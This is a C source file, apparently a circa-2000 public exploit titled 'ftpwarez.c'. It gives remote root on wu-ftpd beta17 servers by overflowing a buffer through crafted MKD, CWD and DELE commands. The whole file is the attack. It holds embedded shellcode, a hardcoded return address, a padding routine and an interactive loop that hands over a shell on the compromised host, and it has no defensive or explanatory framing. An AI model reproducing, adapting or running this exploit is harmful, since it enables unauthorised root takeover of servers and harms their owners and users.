/* * ftpwarez.c * wu-ftpd beta17 remote root overflow (non-chroot) * * Copyright (c) anathema * All rights reserved. */ #include #include #include #include #include #include #include #include #include #include #include #include #include char c0de[]= "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x2a\x5b\x89\xd9" "\x80\xc1\x06\x39\xd9\x7c\x06\x80\x01\x20\x49\xeb\xf6\x89\x5b\x08\x29\xc0\x88" "\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd" "\x80\xe8\xd1\xff\xff\xff\xff\xff\xff\x0f\x42\x49\x4e\x0f\x53\x48"; #define FTP_PORT 21 #define LEN_I 155 #define ALIGN 3 #define RETPOS 190 #define ADDR 0xbfffe314 u_long resolve_host(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; addr.s_addr = inet_addr(host_name); if (addr.s_addr == -1) { host_ent = gethostbyname(host_name); if (!host_ent) return(-1); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void sndres(int sock, u_char *buf, ...) { u_char tmp[4096]; va_list list; memset(tmp, 0, sizeof(tmp)); va_start(list, buf); vsnprintf(tmp, sizeof(tmp), buf, list); write(sock, tmp, strlen(tmp)); va_end(list); } void rcvres(int sock) { u_char tmp[4096]; memset(tmp, 0, sizeof(tmp)); recv(sock, tmp, sizeof(tmp), 0); fprintf(stderr, "%s", tmp); } void srrez(int sock, u_char *buf, ...) { u_char tmp[4096]; va_list list; memset(tmp, 0, sizeof(tmp)); va_start(list, buf); vsnprintf(tmp, sizeof(tmp), buf, list); write(sock, tmp, strlen(tmp)); va_end(list); rcvres(sock); } void ftp_login(int sock, u_char *user, u_char *pwd, u_char *dir) { rcvres(sock); srrez(sock, "USER %s\n", user); srrez(sock, "PASS %s\n", pwd); srrez(sock, "CWD %s\n", dir); } void make_padding_dir(int sock, u_int dir_len) { u_char buf[4096]; int i = 0; memset(buf, 0, sizeof(buf)); memset(buf, 0x90, RETPOS + ALIGN); for (; i < 4; i++) { srrez(sock, "MKD %s\n", buf); srrez(sock, "CWD %s\n", buf); } memset(buf, 0, sizeof(buf)); memset(buf, 0x90, LEN_I - dir_len); srrez(sock, "MKD %s\n", buf); srrez(sock, "CWD %s\n", buf); } void shellz(int sock) { u_char buf[4096]; fd_set fds; fprintf(stderr, "b00m\n"); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds); select(255, &fds, NULL, NULL, NULL); memset(buf, 0, sizeof(buf)); if (FD_ISSET(sock, &fds)) { read(sock, buf, sizeof(buf)); fprintf(stderr, "%s", buf); } if (FD_ISSET(0, &fds)) { read(0, buf, sizeof(buf)); write(sock, buf, strlen(buf)); } } /* NOTREACHED */ } void exploit(int sock) { u_long addr = ADDR; u_char buf[4096]; int i = 0, j = 0; memset(buf, 0x90, sizeof(buf)); for (i = RETPOS - strlen(c0de); i < RETPOS; j++, i++) { buf[i] = c0de[j]; } for (; i < RETPOS+24; i += 5) { buf[i+0] = (addr & 0x000000ff); buf[i+1] = (addr & 0x0000ff00) >> 8; buf[i+2] = (addr & 0x00ff0000) >> 16; buf[i+3] = (addr & 0x00ff0000) >> 16; buf[i+4] = (addr & 0xff000000) >> 24; } buf[i] = 0; srrez(sock, "MKD %s\n", buf); srrez(sock, "DELE %s\n", buf); shellz(sock); /* NOTREACHED */ } void usage(u_char *nomenclature) { fprintf(stderr, "No.\nusage:\t%s [ -h dst_host|ip ] [ -u user ] [ -p password ]\n" "\t\t[ -d dir ] [ -l len ]\n", nomenclature); } int main(int argc, char **argv) { struct in_addr addr; struct sockaddr_in sin; u_long dst_ip; u_char host_name[255], user_name[255], password[255], init_dir[255]; char opt; u_int dir_len; int sock; if (argc < 6) { usage(argv[0]); exit(-1); } while ((opt = getopt(argc, argv, "h:u:p:d:l:")) != EOF) { switch(opt) { case 'h': strncpy(host_name, optarg, sizeof(host_name)); break; case 'u': strncpy(user_name, optarg, sizeof(user_name)); break; case 'p': strncpy(password, optarg, sizeof(password)); break; case 'd': strncpy(init_dir, optarg, sizeof(init_dir)); break; case 'l': dir_len = (u_int)atoi(optarg); break; default: usage(argv[0]); exit(-1); /* NOTREACHED */ } } if (!host_name || !user_name || !password || !init_dir || dir_len == 0) { fprintf(stderr, "Invalid arguments.\n"); exit(-1); } dst_ip = resolve_host(host_name); if (dst_ip == -1) { fprintf(stderr, "What kind of IP address is this: `%s`?\n", host_name); exit(-1); } sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(FTP_PORT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) == -1) { perror("connect"); close(sock); exit(-1); } addr.s_addr = dst_ip; fprintf(stderr, "\nThe eyes of stanley pain:\n" "To: %15s.%2d\n\n", inet_ntoa(addr), FTP_PORT); ftp_login(sock, user_name, password, init_dir); make_padding_dir(sock, dir_len); exploit(sock); /* NOTREACHED */ } /* www.hack.co.za [2000]*/